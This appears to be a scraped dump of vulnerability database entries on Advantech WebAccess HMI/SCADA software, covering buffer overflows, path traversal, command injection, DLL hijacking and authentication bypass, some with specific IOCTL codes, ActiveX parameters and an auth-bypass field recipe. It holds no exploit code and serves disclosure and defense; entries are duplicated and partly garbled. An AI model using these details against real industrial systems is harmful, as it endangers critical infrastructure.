Advantech",

Vulnerability from variot
In Advantech WebAccess HMI Designer Version 2.1.9.23 and prior, processing specially crafted MCR files lacking proper validation of user supplied data may cause the system to write outside the intended buffer area, allowing remote code execution. Advantech WebAccess HMI Designer Contains an out-of-bounds vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Advantech WebAccess HMI Designer. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the processing of MCR files. The issue results from the lack of proper validation of user-supplied data, which can result in a write past the end of an allocated buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Advantech WebAccess HMI Designer is a human machine interface (HMI) runtime development software. The product has functions such as data transmission, menu editing and text editing. There is a buffer error vulnerability in Advantech WebAccess HMI Designer 2.1.9.23 and earlier versions, the vulnerability is due to the fact that the program does not correctly verify the data submitted by the user

Vulnerability from variot
In Advantech WebAccess versions V8.2_20170817 and prior, WebAccess versions V8.3.0 and prior, WebAccess Dashboard versions V.2.0.15 and prior, WebAccess Scada Node versions prior to 8.3.1, and WebAccess/NMS 2.0.3 and prior, an external control of file name or path vulnerability has been identified, which may allow an attacker to delete files. plural Advantech WebAccess The product contains a path traversal vulnerability.Information may be tampered with. This vulnerability allows remote attackers to delete arbitrary files on vulnerable installations of Advantech WebAccess Node. Authentication is not required to exploit this vulnerability.The specific flaw exists within the implementation of the 0x2715 IOCTL in the webvrpcs process. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this functionality to delete files under the context of Administrator. Advantech WebAccess and others are products of Advantech. Advantech WebAccess is a browser-based HMI/SCADA software. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. WebAccess Dashboard is one of the dashboard components; WebAccess Scada Node is one of the monitoring node components. WebAccess/NMS is a suite of web browsers for the Network Management System (NMS). Security vulnerabilities exist in several Advantech products. Multiple SQL-injection vulnerabilities 2. An information-disclosure vulnerability 3. A file-upload vulnerability 4. Multiple directory-traversal vulnerabilities 5. Multiple stack-based buffer-overflow vulnerabilities 6. A heap-based buffer-overflow vulnerability 7. Multiple arbitrary code-execution vulnerabilities 8. A denial-of-service vulnerability 9. A security-bypass vulnerability 10. A privilege-escalation vulnerability An attacker can exploit these issues to execute arbitrary code in the context of the application, or modify data, or exploit latent vulnerabilities in the underlying database, delete arbitrary files, gain elevated privileges, perform certain unauthorized actions, upload arbitrary files to the affected application gain unauthorized access and obtain sensitive information. Failed attacks will cause denial of service conditions. Advantech WebAccess, etc. Advantech WebAccess is a set of HMI/SCADA software based on browser architecture. The following versions are affected: Advantech WebAccess 8.2_20170817 and earlier, 8.3.0 and earlier; WebAccess Dashboard 2.0.15 and earlier; WebAccess Scada Node 8.3.1 and earlier; WebAccess/NMS 2.0.3 and earlier

Vulnerability from variot
In WebAccess/SCADA Versions 8.3.5 and prior, an out-of-bounds read vulnerability is caused by a lack of proper validation of user-supplied data. Exploitation of this vulnerability may allow disclosure of information. WebAccess/SCADA Contains an out-of-bounds vulnerability.Information may be obtained. This vulnerability allows remote attackers to disclose sensitive information on affected installations of Advantech WebAccess Node. Authentication is not required to exploit this vulnerability.The specific flaw exists within viewsrv.dll, which is accessed through the 0x2722 IOCTL in the webvrpcs process. An attacker can leverage this in conjunction with other vulnerabilities to execute code in the context of the Administrator. Advantech WebAccess/SCADA is a browser-based SCADA software from Advantech, Taiwan. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. A buffer overflow vulnerability exists in Advantech WebAccess/SCADA 8.3.5 and earlier that could allow an attacker to cause a buffer overflow or heap overflow. Advantech WebAccess/SCADA is prone to the following security vulnerabilities: 1. A directory-traversal vulnerability 2. Multiple stack-based buffer-overflow vulnerabilities 3. Multiple heap-based buffer-overflow vulnerabilities 4. Multiple remote-code execution vulnerabilities An attacker can exploit these issues to execute arbitrary code in the context of the application, modify and delete files, use directory-traversal sequences (â??../â??) to retrieve arbitrary files, escalate privileges and perform certain unauthorized actions or obtain sensitive information. This may aid in further attacks. Advantech WebAccess/SCADA Versions 8.3.5 and prior versions are vulnerable. This vulnerability stems from the fact that when the network system or product performs operations on the memory, the data boundary is not correctly verified, resulting in the execution of wrong data to other associated memory locations. read and write operations

"data": "In WebAccess/SCADA Versions 8.3.5 and prior, an out-of-bounds read vulnerability is caused by a lack of proper validation of user-supplied data. Exploitation of this vulnerability may allow disclosure of information. WebAccess/SCADA Contains an out-of-bounds vulnerability.Information may be obtained. This vulnerability allows remote attackers to disclose sensitive information on affected installations of Advantech WebAccess Node. Authentication is not required to exploit this vulnerability.The specific flaw exists within viewsrv.dll, which is accessed through the 0x2722 IOCTL in the webvrpcs process. An attacker can leverage this in conjunction with other vulnerabilities to execute code in the context of the Administrator. Advantech WebAccess/SCADA is a browser-based SCADA software from Advantech, Taiwan. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. A buffer overflow vulnerability exists in Advantech WebAccess/SCADA 8.3.5 and earlier that could allow an attacker to cause a buffer overflow or heap overflow. Advantech WebAccess/SCADA is prone to the following security vulnerabilities:\n1. A directory-traversal vulnerability\n2. Multiple stack-based buffer-overflow vulnerabilities\n3. Multiple heap-based buffer-overflow vulnerabilities\n4. Multiple remote-code execution vulnerabilities\nAn attacker can exploit these issues to execute arbitrary code in the context of the application, modify and delete files, use directory-traversal sequences (\u00e2??../\u00e2??) to retrieve arbitrary files, escalate privileges and perform certain unauthorized actions or obtain sensitive information. This may aid in further attacks. \nAdvantech WebAccess/SCADA Versions 8.3.5 and prior versions are vulnerable. This vulnerability stems from the fact that when the network system or product performs operations on the memory, the data boundary is not correctly verified, resulting in the execution of wrong data to other associated memory locations. read and write operations",

Vulnerability from variot
Multiple integer underflows in PluginPCX.cpp in FreeImage 3.17.0 and earlier allow remote attackers to cause a denial of service (heap memory corruption) via vectors related to the height and width of a window. WebAccess HMI/SCADA software provides remote control and management, allowing users to easily view and configure automation equipment in facility management systems, power stations and building automation systems. A security vulnerability exists in versions prior to Advantech WebAccess 8.1 that could be exploited by remote attackers to bypass target management requirements and gain access to files or folders.

Vulnerability from variot
Multiple stack-based buffer overflows in Advantech WebAccess before 7.2 allow remote attackers to execute arbitrary code via a long string in the (1) ProjectName, (2) SetParameter, (3) NodeName, (4) CCDParameter, (5) SetColor, (6) AlarmImage, (7) GetParameter, (8) GetColor, (9) ServerResponse, (10) SetBaud, or (11) IPAddress parameter to an ActiveX control in (a) webvact.ocx, (b) dvs.ocx, or (c) webdact.ocx. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the webdact.ocx ActiveX Control. The control does not check the length of an attacker-supplied NodeName string before copying it into a fixed length buffer on the stack. This could allow an attacker to execute arbitrary code in the context of the browser process. Advantech WebAccess HMI/SCADA is an HMI/SCADA software. Advantech WebAccess webvact.ocx, dvs.ocx and webdact.ocx ActiveX controls fail to properly handle long-length named ProjectName, SetParameter, NodeName, CCDParameter, SetColor, AlarmImage, GetParameter, GetColor, ServerResponse, SetBaud and IPAddress parameters, and attackers can build malicious A WEB page that entice a user to access, can crash an application or execute arbitrary code. Advantech WebAccess is prone to multiple remote stack-based buffer-overflow vulnerabilities. Failed exploit attempts will likely cause a denial-of-service condition. Advantech WebAccess 7.1 and prior are vulnerable. The software supports dynamic graphic display and real-time data control, and provides functions of remote control and management of automation equipment

This could be accomplished in a number of ways, most notably with firewall rules/whitelisting. These features are available in the native Windows Firewall, as described in and numerous other Microsoft Knowledge Base articles.",

Vulnerability from variot
Stack-based buffer overflow in Advantech WebAccess before 7.2 allows remote attackers to execute arbitrary code via a long AccessCode2 argument. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the webvact.ocx ActiveX Control. The control does not check the length of an attacker-supplied AccessCode2 string before copying it into a fixed length buffer on the stack. Advantech WebAccess HMI/SCADA is an HMI/SCADA software. Advantech WebAccess is prone to a stack-based buffer-overflow vulnerability because the application fails to properly bounds-check user-supplied data before copying it into an insufficiently sized buffer. Failed attempts will likely cause a denial-of-service condition. Advantech WebAccess 7.1 and prior are vulnerable. The software supports dynamic graphic display and real-time data control, and provides functions of remote control and management of automation equipment. There is a stack-based buffer overflow vulnerability in Advantech WebAccess 7.1 and earlier versions

"data": "Stack-based buffer overflow in Advantech WebAccess before 7.2 allows remote attackers to execute arbitrary code via a long AccessCode2 argument. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the webvact.ocx ActiveX Control. The control does not check the length of an attacker-supplied AccessCode2 string before copying it into a fixed length buffer on the stack. Advantech WebAccess HMI/SCADA is an HMI/SCADA software. Advantech WebAccess is prone to a stack-based buffer-overflow vulnerability because the application fails to properly bounds-check user-supplied data before copying it into an insufficiently sized buffer. Failed attempts will likely cause a denial-of-service condition. \nAdvantech WebAccess 7.1 and prior are vulnerable. The software supports dynamic graphic display and real-time data control, and provides functions of remote control and management of automation equipment. There is a stack-based buffer overflow vulnerability in Advantech WebAccess 7.1 and earlier versions",

Vulnerability from variot
Stack-based buffer overflow in Advantech WebAccess (formerly BroadWin WebAccess) 7.2 allows remote attackers to execute arbitrary code via the AccessCode2 parameter. Advantech WebAccess is an IE-based HMI/SCADA monitoring software that features all engineering projects, database setup, drawing and software management using a standard browser over the internet or intranet. A buffer overflow vulnerability exists in Advantech WebAccess. An attacker exploits a vulnerability to execute arbitrary code in the context of an affected application or to crash the entire application. Advantech WebAccess is prone to a stack-based buffer-overflow vulnerability because the application fails to properly bounds-check user-supplied data before copying it into an insufficiently sized buffer. Failed exploit attempts will likely cause a denial-of-service condition. Advantech WebAccess 7.2 is vulnerable; other versions may also be affected. Advantech WebAccess is a browser-based HMI/SCADA software developed by Advantech. The software supports dynamic graphic display and real-time data control, and provides functions of remote control and management of automation equipment.

"data": "Stack-based buffer overflow in Advantech WebAccess (formerly BroadWin WebAccess) 7.2 allows remote attackers to execute arbitrary code via the AccessCode2 parameter. Advantech WebAccess is an IE-based HMI/SCADA monitoring software that features all engineering projects, database setup, drawing and software management using a standard browser over the internet or intranet. A buffer overflow vulnerability exists in Advantech WebAccess. An attacker exploits a vulnerability to execute arbitrary code in the context of an affected application or to crash the entire application. Advantech WebAccess is prone to a stack-based buffer-overflow vulnerability because the application fails to properly bounds-check user-supplied data before copying it into an insufficiently sized buffer. Failed exploit attempts will likely cause a denial-of-service condition. \nAdvantech WebAccess 7.2 is vulnerable; other versions may also be affected. Advantech WebAccess is a browser-based HMI/SCADA software developed by Advantech. The software supports dynamic graphic display and real-time data control, and provides functions of remote control and management of automation equipment. Core Security - Corelabs Advisory\nhttp://corelabs.coresecurity.com/\n\nAdvantech WebAccess Vulnerabilities\n\n\n1. *Advisory Information*\n\n Title: Advantech WebAccess Vulnerabilities\n Advisory ID: CORE-2014-0005\n Advisory URL:\nhttp://www.coresecurity.com/advisories/advantech-webaccess-vulnerabilities\n Date published: 2014-09-02\n Date of last update: 2014-09-01\n Vendors contacted: Advantech\n Release mode: User release\n\n\n2. *Vulnerability Description*\n\n Advantech WebAccess [1] is a browser-based\n software package for human-machine interfaces HMI, and supervisory\n control and data acquisition SCADA. \n\n\n4.

Vulnerability from variot
An Externally Controlled Format String issue was discovered in Advantech WebAccess versions prior to V8.2_20170817. String format specifiers based on user provided input are not properly validated, which could allow an attacker to execute arbitrary code. Advantech WebAccess Contains a format string vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Advantech WebAccess is a suite of browser-based HMI/SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. Advantech WebAccess is prone to the following security vulnerabilities: 1. Multiple stack-based buffer-overflow vulnerabilities 2. Multiple heap-based buffer-overflow vulnerabilities. 3. Multiple memory-corruption vulnerabilities. 4. An SQL-injection vulnerability. 5. A format-string vulnerability. 6. An authentication-bypass vulnerability. 7. A security-bypass vulnerability. 8. A privilege-escalation vulnerability. 9. A remote-code execution vulnerability. An attacker can exploit these issues to execute arbitrary code in the context of the application, or modify data, or exploit latent vulnerabilities in the underlying database,perform certain unauthorized actions, gain unauthorized access and gain elevated privileges. This may aid in further attacks. Advantech WebAccess versions prior to V8.2_20170817 are vulnerable

"data": "An Externally Controlled Format String issue was discovered in Advantech WebAccess versions prior to V8.2_20170817. String format specifiers based on user provided input are not properly validated, which could allow an attacker to execute arbitrary code. Advantech WebAccess Contains a format string vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Advantech WebAccess is a suite of browser-based HMI/SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. Advantech WebAccess is prone to the following security vulnerabilities:\n1. Multiple stack-based buffer-overflow vulnerabilities\n2. Multiple heap-based buffer-overflow vulnerabilities. \n3. Multiple memory-corruption vulnerabilities. \n4. An SQL-injection vulnerability. \n5. A format-string vulnerability. \n6. An authentication-bypass vulnerability. \n7. A security-bypass vulnerability. \n8. A privilege-escalation vulnerability. \n9. A remote-code execution vulnerability. \nAn attacker can exploit these issues to execute arbitrary code in the context of the application, or modify data, or exploit latent vulnerabilities in the underlying database,perform certain unauthorized actions, gain unauthorized access and gain elevated privileges. This may aid in further attacks. \nAdvantech WebAccess versions prior to V8.2_20170817 are vulnerable",

Vulnerability from variot
Advantech WebAccess before 8.1 allows remote attackers to read sensitive cleartext information about e-mail project accounts via unspecified vectors. WebAccess HMI/SCADA software provides remote control and management, allowing users to easily view and configure automation equipment in facility management systems, power stations and building automation systems. Advantech WebAccess is prone to following security vulnerabilities: 1. A denial-of-service vulnerability 2. An arbitrary file-upload vulnerability 3. A directory-traversal vulnerability 4. Multiple stack-based buffer-overflow vulnerabilities 5. A heap-based buffer overflow vulnerability 6. Multiple buffer-overflow vulnerabilities 7. Multiple information disclosure vulnerabilities 8. A cross-site scripting vulnerability 9. An SQL-injection vulnerability 10. A cross-site request forgery vulnerability 11. A remote-code execution vulnerability An attacker can exploit these issues to execute arbitrary code in the context of the application, cause a denial-of-service condition, upload arbitrary files, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database, to use directory-traversal sequences ('../') to retrieve arbitrary files, obtain sensitive information and perform certain unauthorized actions. This may aid in further attacks. Advantech WebAccess 8.0 and prior versions are vulnerable. Advantech WebAccess is a browser-based HMI/SCADA software developed by Advantech

Vulnerability from variot
A Stack-based Buffer Overflow issue was discovered in Advantech WebAccess versions prior to V8.2_20170817. The application lacks proper validation of the length of user-supplied data prior to copying it to a stack-based buffer, which could allow an attacker to execute arbitrary code under the context of the process. Advantech WebAccess Contains a buffer error vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. Authentication is not required to exploit this vulnerability. The specific flaw exists within implementation of the 0x138bd IOCTL in the webvrpcs process. An attacker can leverage this functionality to execute code under the context of Administrator. Advantech WebAccess is a suite of browser-based HMI/SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. Advantech WebAccess is prone to multiple remote code-execution vulnerabilities. Failed exploit attempts will result in a denial-of-service condition. Versions prior to Advantech WebAccess 8.2_20170817 are vulnerable

"data": "A Stack-based Buffer Overflow issue was discovered in Advantech WebAccess versions prior to V8.2_20170817. The application lacks proper validation of the length of user-supplied data prior to copying it to a stack-based buffer, which could allow an attacker to execute arbitrary code under the context of the process. Advantech WebAccess Contains a buffer error vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. Authentication is not required to exploit this vulnerability. The specific flaw exists within implementation of the 0x138bd IOCTL in the webvrpcs process. An attacker can leverage this functionality to execute code under the context of Administrator. Advantech WebAccess is a suite of browser-based HMI/SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. Advantech WebAccess is prone to multiple remote code-execution vulnerabilities. Failed exploit attempts will result in a denial-of-service condition. \nVersions prior to Advantech WebAccess 8.2_20170817 are vulnerable",

Vulnerability from variot
Stack-based buffer overflow in Advantech WebAccess/SCADA 8.4.0 allows a remote, unauthenticated attacker to execute arbitrary code by sending a crafted IOCTL 81024 RPC call. Advantech WebAccess/SCADA Contains a buffer error vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. AdvantechWebAccess/SCADA is a browser-based SCADA software from Advantech, Taiwan. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. A buffer overflow vulnerability exists in AdvantechWebAccess/SCADA version 8.4.0. The vulnerability stems from a network system or product that does not properly validate data boundaries when performing operations on memory, causing erroneous read and write operations to be performed on other associated memory locations. An attacker could exploit the vulnerability to cause a buffer overflow or heap overflow

Vulnerability from variot
Advantech WebAccess Node, Version 8.4.4 and prior, Version 9.0.0. Multiple stack-based buffer overflow vulnerabilities exist caused by a lack of proper validation of the length of user-supplied data, which may allow remote code execution. Advantech WebAccess Node Is vulnerable to out-of-bounds writes.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be put into a state. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Advantech WebAccess/SCADA. Authentication is not required to exploit this vulnerability.The specific flaw exists within the implementation of IOCTL 0x00005241 in DATACORE.exe. An attacker can leverage this vulnerability to execute code in the context of Administrator. Advantech WebAccess is a browser-based SCADA software package for monitoring, data acquisition, and visualization. It is used to automate complex industrial processes when remote operation is required. The vulnerability is due to the fact that the program does not correctly verify the length of the data submitted by the user

Vulnerability from variot
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within nvA1Media.ocx. The issue results from the lack of proper validation of a user-supplied string before using it as a format specifier. An attacker can leverage this vulnerability to execute arbitrary code under the context of the process.

Vulnerability from variot
Stack-based buffer overflow in Advantech WebAccess before 7.2 allows remote attackers to execute arbitrary code via a long GotoCmd argument. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the webvact.ocx ActiveX Control. The control does not check the length of an attacker-supplied GotoCmd string before copying it into a fixed length buffer on the stack. Advantech WebAccess HMI/SCADA is an HMI/SCADA software. Advantech WebAccess is prone to a stack-based buffer-overflow vulnerability because the application fails to properly bounds-check user-supplied data before copying it into an insufficiently sized buffer. Failed attempts will likely cause a denial-of-service condition. Advantech WebAccess 7.1 and prior are vulnerable. The software supports dynamic graphic display and real-time data control, and provides functions of remote control and management of automation equipment. There is a stack-based buffer overflow vulnerability in Advantech WebAccess 7.1 and earlier versions

"data": "Stack-based buffer overflow in Advantech WebAccess before 7.2 allows remote attackers to execute arbitrary code via a long GotoCmd argument. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the webvact.ocx ActiveX Control. The control does not check the length of an attacker-supplied GotoCmd string before copying it into a fixed length buffer on the stack. Advantech WebAccess HMI/SCADA is an HMI/SCADA software. Advantech WebAccess is prone to a stack-based buffer-overflow vulnerability because the application fails to properly bounds-check user-supplied data before copying it into an insufficiently sized buffer. Failed attempts will likely cause a denial-of-service condition. \nAdvantech WebAccess 7.1 and prior are vulnerable. The software supports dynamic graphic display and real-time data control, and provides functions of remote control and management of automation equipment. There is a stack-based buffer overflow vulnerability in Advantech WebAccess 7.1 and earlier versions",

Vulnerability from variot
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. Authentication is not required to exploit this vulnerability.The specific flaw exists within the implementation of the 0x2721 IOCTL in the webvrpcs process. The issue results from the lack of proper validation of a user-supplied value prior to using it as a memory address in a free operation. An attacker can leverage this functionality to execute code under the context of Administrator.

Vulnerability from variot
Advantech WebAccess before 8.1 allows remote attackers to bypass an intended administrative requirement and obtain file or folder access via unspecified vectors. WebAccess HMI/SCADA software provides remote control and management, allowing users to easily view and configure automation equipment in facility management systems, power stations and building automation systems. Advantech WebAccess is prone to following security vulnerabilities: 1. A denial-of-service vulnerability 2. An arbitrary file-upload vulnerability 3. A directory-traversal vulnerability 4. Multiple stack-based buffer-overflow vulnerabilities 5. A heap-based buffer overflow vulnerability 6. Multiple buffer-overflow vulnerabilities 7. Multiple information disclosure vulnerabilities 8. A cross-site scripting vulnerability 9. An SQL-injection vulnerability 10. A cross-site request forgery vulnerability 11. A remote-code execution vulnerability An attacker can exploit these issues to execute arbitrary code in the context of the application, cause a denial-of-service condition, upload arbitrary files, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database, to use directory-traversal sequences ('../') to retrieve arbitrary files, obtain sensitive information and perform certain unauthorized actions. This may aid in further attacks. Advantech WebAccess 8.0 and prior versions are vulnerable. Advantech WebAccess is a browser-based HMI/SCADA software developed by Advantech

Vulnerability from variot
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within bwocxrun.ocx. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a stack-based buffer. An attacker can leverage this vulnerability to execute arbitrary code under the context of the process.

Only the clients and servers that have a legitimate procedural relationship with the service should be permitted to communicate with it. This could be accomplished in a number of ways, most notably with firewall rules/whitelisting. These features are available in the native Windows Firewall, as described in and numerous other Microsoft Knowledge Base articles.",

Vulnerability from variot
In WebAccess/SCADA Versions 8.3.5 and prior, multiple untrusted pointer dereference vulnerabilities may allow a remote attacker to execute arbitrary code. WebAccess/SCADA Is NULL A vulnerability related to pointer dereference exists.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Authentication is not required to exploit this vulnerability. The specific flaw exists within the implementation of the 0x2776 IOCTL in the webvrpcs process. The issue results from the lack of proper validation of a user-supplied value prior to dereferencing it as a pointer. An attacker can leverage this vulnerability to execute code in the context of Administrator. Advantech WebAccess/SCADA is a browser-based SCADA software from Advantech, Taiwan. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. Advantech WebAccess/SCADA is prone to the following security vulnerabilities: 1. A directory-traversal vulnerability 2. Multiple stack-based buffer-overflow vulnerabilities 3. Multiple heap-based buffer-overflow vulnerabilities 4. An information disclosure vulnerability 5. Multiple remote-code execution vulnerabilities An attacker can exploit these issues to execute arbitrary code in the context of the application, modify and delete files, use directory-traversal sequences (â??../â??) to retrieve arbitrary files, escalate privileges and perform certain unauthorized actions or obtain sensitive information. This may aid in further attacks. Advantech WebAccess/SCADA Versions 8.3.5 and prior versions are vulnerable. This vulnerability stems from improper design or implementation problems in the code development process of network systems or products

Vulnerability from variot
Stack-based buffer overflow in Advantech WebAccess (formerly BroadWin WebAccess) 7.2 allows remote attackers to execute arbitrary code via the GotoCmd parameter. Advantech WebAccess is an IE-based HMI/SCADA monitoring software featuring all engineering projects, database setup, drawing and software management using standard browsers over the internet or intranet. A buffer overflow vulnerability exists in Advantech WebAccess. An attacker exploits a vulnerability to execute arbitrary code in the context of an affected application or to crash the entire application. Advantech WebAccess is prone to a stack-based buffer-overflow vulnerability because the application fails to properly bounds-check user-supplied data before copying it into an insufficiently sized buffer. Failed exploit attempts will likely cause a denial-of-service condition. Advantech WebAccess 7.2 is vulnerable; other versions may also be affected. Advantech WebAccess is a browser-based HMI/SCADA software developed by Advantech. The software supports dynamic graphic display and real-time data control, and provides functions of remote control and management of automation equipment.

Only the clients and servers that have a legitimate procedural relationship with the service should be permitted to communicate with it. This could be accomplished in a number of ways, most notably with firewall rules/whitelisting. These features are available in the native Windows Firewall, as described in and numerous other Microsoft Knowledge Base articles.",

Vulnerability from variot
Stack-based buffer overflow in Advantech WebAccess/SCADA 8.4.0 allows a remote, unauthenticated attacker to execute arbitrary code by sending a crafted IOCTL 10012 RPC call. Advantech WebAccess/SCADA Contains a buffer error vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. AdvantechWebAccess/SCADA is a browser-based SCADA software from Advantech, Taiwan. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. A stack-based buffer overflow vulnerability exists in AdvantechWebAccess/SCADA version 8.4.0. The vulnerability stems from a network system or product that does not properly validate data boundaries when performing operations on memory, causing erroneous read and write operations to be performed on other associated memory locations. An attacker could exploit the vulnerability to cause a buffer overflow or heap overflow

Vulnerability from variot
The ChkCookie subroutine in an ActiveX control in broadweb/include/gChkCook.asp in Advantech WebAccess before 7.2 allows remote attackers to read arbitrary files via a crafted call. This vulnerability allows remote attackers to bypass authentication requirements on vulnerable installations of Advantech WebAccess. Authentication is not required to exploit this vulnerability. The specific flaw exists within the ChkCookieNoRedir function. By providing arbitrary values to certain fields, an attacker can receive a session authentication cookie despite receiving an error message. Advantech WebAccess HMI/SCADA is an HMI/SCADA software. If you set user, proj, and scada are set and bwuser is true, you can access multiple restricted pages. This may aid in further attacks. Advantech WebAccess 7.1 and prior are vulnerable. The software supports dynamic graphic display and real-time data control, and provides functions of remote control and management of automation equipment

"data": "The ChkCookie subroutine in an ActiveX control in broadweb/include/gChkCook.asp in Advantech WebAccess before 7.2 allows remote attackers to read arbitrary files via a crafted call. This vulnerability allows remote attackers to bypass authentication requirements on vulnerable installations of Advantech WebAccess. Authentication is not required to exploit this vulnerability. The specific flaw exists within the ChkCookieNoRedir function. By providing arbitrary values to certain fields, an attacker can receive a session authentication cookie despite receiving an error message. Advantech WebAccess HMI/SCADA is an HMI/SCADA software. If you set user, proj, and scada are set and bwuser is true, you can access multiple restricted pages. This may aid in further attacks. \nAdvantech WebAccess 7.1 and prior are vulnerable. The software supports dynamic graphic display and real-time data control, and provides functions of remote control and management of automation equipment",

Vulnerability from variot
Advantech WebAccess/SCADA, Versions 8.3.5 and prior. Multiple command injection vulnerabilities, caused by a lack of proper validation of user-supplied data, may allow remote code execution. Advantech WebAccess/SCADA Contains a command injection vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess Client. Authentication is not required to exploit this vulnerability.The specific flaw exists within bwrunmie.exe, which is accessed through the 0x2711 IOCTL in the webvrpcs process. An attacker can leverage this vulnerability to execute code in the context of Administrator. Advantech WebAccess/SCADA is a set of browser-based SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. Advantech WebAccess/SCADA is prone to the following vulnerabilities: 1. Multiple command-injection vulnerabilities 2. A denial-of-service vulnerability 3. Multiple stack-based buffer-overflow vulnerabilities An attacker can exploit these issues to inject and execute arbitrary commands in the context of the application. Failed exploit attempts will result in denial-of-service conditions. The vulnerability comes from the fact that the network system or product does not correctly filter special elements in the process of constructing executable commands from external input data

"data": "Advantech WebAccess/SCADA, Versions 8.3.5 and prior. Multiple command injection vulnerabilities, caused by a lack of proper validation of user-supplied data, may allow remote code execution. Advantech WebAccess/SCADA Contains a command injection vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess Client. Authentication is not required to exploit this vulnerability.The specific flaw exists within bwrunmie.exe, which is accessed through the 0x2711 IOCTL in the webvrpcs process. An attacker can leverage this vulnerability to execute code in the context of Administrator. Advantech WebAccess/SCADA is a set of browser-based SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. Advantech WebAccess/SCADA is prone to the following vulnerabilities:\n1. Multiple command-injection vulnerabilities\n2. A denial-of-service vulnerability\n3. Multiple stack-based buffer-overflow vulnerabilities\nAn attacker can exploit these issues to inject and execute arbitrary commands in the context of the application. Failed exploit attempts will result in denial-of-service conditions. The vulnerability comes from the fact that the network system or product does not correctly filter special elements in the process of constructing executable commands from external input data",

Vulnerability from variot
WebAccess can establish an information management platform for users, and simultaneously improve the efficiency of vertical market management development.
HMI / SCADA software webaccess has 4 dll hijack vulnerabilities. When bwopctool.dll, bwabout.dll, BwPAlarm.dll, Webvsid.dll are automatically loaded, Webvrpcs.exe will not verify these dlls, and attackers can place malicious dll files In the directory of the process, the system is attacked. You can download it from http://www.advantech.com.cn/industrial-automation/webaccess/download. This page downloads three versions of webaccess. Any version of webaccess is affected. After installing webaccess, run the batch provided by the word document directly. After processing the file, you can see the effect of dll hijack, and a calculator will pop up after success

Vulnerability from variot
Advantech WebAccess before 8.4.3 allows unauthenticated remote attackers to execute arbitrary code or cause a denial of service (memory corruption) due to a stack-based buffer overflow when handling IOCTL 70533 RPC messages. Advantech WebAccess Contains an out-of-bounds vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Advantech WebAccess is a set of HMI / SCADA software based on browser architecture by Advantech of Taiwan, China. The software supports dynamic graphic display and real-time data control, and provides the ability to remotely control and manage automation equipment.
A buffer overflow vulnerability exists in Advantech WebAccess versions prior to 8.4.3. The vulnerability originates from a network system or product that incorrectly validates data boundaries when performing operations on memory, causing incorrect read and write operations to be performed on other associated memory locations. An attacker could use this vulnerability to cause a buffer overflow or heap overflow

Vulnerability from variot
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within TpMegaJVT.ocx. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to execute arbitrary code under the context of the process.

Vulnerability from variot
